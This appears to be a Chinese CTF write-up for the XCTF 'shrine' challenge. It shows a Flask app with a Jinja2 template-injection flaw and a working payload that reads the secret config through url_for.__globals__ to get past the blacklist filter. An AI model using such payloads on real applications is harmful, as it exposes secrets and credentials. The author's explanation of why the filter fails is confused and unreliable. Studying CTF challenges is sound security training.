XCTF-Web-高手区-shrine

题目

解题

1、访问目标，发现有一段代码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

2、根据源码该题可能是flask模板注入漏洞

该代码过滤了括号和config、self关键字
对该模板注入了解不多，直接上payload
payload

http://111.200.241.244:64667/shrine/{{ url_for.__globals__['current_app'].config['FLAG']}}

为什么没有过滤呢？看下面的对比就知道了，为了更好地对比，我将括号转空变为转中括号[]
代码1：

# -*- coding: UTF-8 -*-
s="/shrine/{{ url_for.__globals__['current_app'].config['FLAG']}}"
s = s.replace('(', '[').replace(')', ']')
blacklist = ['config', 'self']
print(''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s)

代码2：

# -*- coding: UTF-8 -*-
s="/shrine/{{ url_for.__globals__['current_app'].(config)['FLAG']}}"
s = s.replace('(', '[').replace(')', ']')
blacklist = ['config', 'self']
print(''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s)

由此可见只要出现单括号或双括号，是不会对config进行过滤的